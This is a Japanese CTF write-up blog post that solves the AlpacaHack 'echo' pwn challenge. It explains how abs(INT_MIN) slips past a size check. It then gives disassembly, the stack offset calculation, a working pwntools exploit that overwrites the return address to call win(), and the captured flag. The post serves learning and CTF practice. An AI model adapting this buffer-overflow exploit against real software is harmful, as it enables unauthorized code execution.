ctf upsolve by kodai Advent Calendar 2025のDay5の記事になります。
全然分からなくて詰まってたら少し過ぎてしまいました...
取り扱った問題
AlpacaHack Round 1 (Pwn) echo
Author: ptr-yudai
upsolve
今日は大の苦手分野であるpwnの問題に取り組みます。
以下のようなmain.c, challが与えられました。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUF_SIZE 0x100
/* Call this function! */
void win() {
char *args[] = {"/bin/cat", "/flag.txt", NULL};
execve(args[0], args, NULL);
exit(1);
}
int get_size() {
// Input size
int size = 0;
scanf("%d%*c", &size);
// Validate size
if ((size = abs(size)) > BUF_SIZE) {
puts("[-] Invalid size");
exit(1);
}
return size;
}
void get_data(char *buf, unsigned size) {
unsigned i;
char c;
// Input data until newline
for (i = 0; i < size; i++) {
if (fread(&c, 1, 1, stdin) != 1) break;
if (c == '\n') break;
buf[i] = c;
}
buf[i] = '\0';
}
void echo() {
int size;
char buf[BUF_SIZE];
// Input size
printf("Size: ");
size = get_size();
// Input data
printf("Data: ");
get_data(buf, size);
// Show data
printf("Received: %s\n", buf);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
echo();
return 0;
}
このプログラムでは指定した長さで入力した文字列をそのまま返すプログラムです。
指定する長さに対しては、入力値の絶対値が256より大きい場合にInvalid sizeが返されます。
#define BUF_SIZE 0x100
// 省略
int get_size() {
// Input size
int size = 0;
scanf("%d%*c", &size);
// Validate size
if ((size = abs(size)) > BUF_SIZE) {
puts("[-] Invalid size");
exit(1);
}
return size;
}
ここでget_data()を確認してみると、指定した長さを格納するものがint型になっていたのに対して、この処理の中ではunsigned型として扱われており、ここを悪用できそうです。しかしabsでsizeの絶対値を取るので悪用することが難しいです。
pwn absとかで調べて見ると、この問題のupsolveが多く挙げられていたのでその情報を参考にしました。
int は 32bit だから、値域は以下のようになります。
INT_MAX = 2147483647
INT_MIN = -2147483648
しかしINT_MIN の絶対値はintで表現することができないので、C言語的にはオーバーフローをして未定義動作として動いてしまうという欠点があるらしいです。なるほどなぁってなりました。
後はこれを使って、win()のアドレスを書き込めば良さそうです。
challをchecksecで確認をしてみると、StackにCanaryが付いていないので、リターンアドレスを書き換えてwin関数を呼び出せそうです。
$ checksec --file=echo
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY FortifiedFortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 46 Symbols No 0 2echo
$ objdump -d echo
でwin()のアドレスが00000000004011f6 = 0x4011f6であることが分かりました。
00000000004011f6 <win>:
4011f6: f3 0f 1e fa endbr64
4011fa: 55 push %rbp
4011fb: 48 89 e5 mov %rsp,%rbp
4011fe: 48 83 ec 20 sub $0x20,%rsp
401202: 48 8d 05 fb 0d 00 00 lea 0xdfb(%rip),%rax # 402004 <_IO_stdin_used+0x4>
401209: 48 89 45 e0 mov %rax,-0x20(%rbp)
40120d: 48 8d 05 f9 0d 00 00 lea 0xdf9(%rip),%rax # 40200d <_IO_stdin_used+0xd>
401214: 48 89 45 e8 mov %rax,-0x18(%rbp)
401218: 48 c7 45 f0 00 00 00 movq $0x0,-0x10(%rbp)
40121f: 00
401220: 48 8b 45 e0 mov -0x20(%rbp),%rax
401224: 48 8d 4d e0 lea -0x20(%rbp),%rcx
401228: ba 00 00 00 00 mov $0x0,%edx
40122d: 48 89 ce mov %rcx,%rsi
401230: 48 89 c7 mov %rax,%rdi
401233: e8 a8 fe ff ff call 4010e0 <execve@plt>
401238: bf 01 00 00 00 mov $0x1,%edi
40123d: e8 be fe ff ff call 401100 <exit@plt>
次にecho()の挙動について見ていきます
0000000000401321 <echo>:
401321: f3 0f 1e fa endbr64
401325: 55 push %rbp
401326: 48 89 e5 mov %rsp,%rbp
401329: 48 81 ec 10 01 00 00 sub $0x110,%rsp
echoでは
-
push %rbp: 呼び出し元のRBPをスタックに保存 -
mov %rsp, %rbp: 今の RSP をフレームポインタRBPにセット -
sub $0x110, %rsp: ローカル変数用に0x110バイトを確保
最後にbufの位置を特定していきます。ローカルではBUF_SIZE = 0x100で取られています。
アセンブリでどう扱われているのかを見ると、
40134e: 89 45 fc mov %eax,-0x4(%rbp)
-0x4(%rbp)にsizeを入れている → sizeは[rbp-4]
そしてget_dataに呼び出される前に、
401365: 8b 55 fc mov -0x4(%rbp),%edx
401368: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax
40136f: 89 d6 mov %edx,%esi ; size
401371: 48 89 c7 mov %rax,%rdi ; &buf
401374: e8 2c ff ff ff call 4012a5 <get_data>
lea -0x110(%rbp), %rax
→ RAX = RBP - 0x110
→ &buf == rbp - 0x110
よってbufの先頭からsaved RIPまでの距離は(rbpp + 8) - (rbp - 0x110) = 0x118
これをもとにsolverを書く
from pwn import *
exe = ELF("./echo")
context.binary = exe
HOST = "34.170.146.252"
PORT = 40710
OFFSET = 0x118
WIN_ADDR = 0x4011f6
def conn():
if args.REMOTE:
return remote(HOST, PORT)
else:
return process(exe.path)
def solve(p):
p.sendlineafter(b"Size: ", b"-2147483648")
payload = b"A" * OFFSET
payload += p64(WIN_ADDR)
p.sendlineafter(b"Data: ", payload)
p.interactive()
if __name__ == "__main__":
p = conn()
solve(p)
FLAG : Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}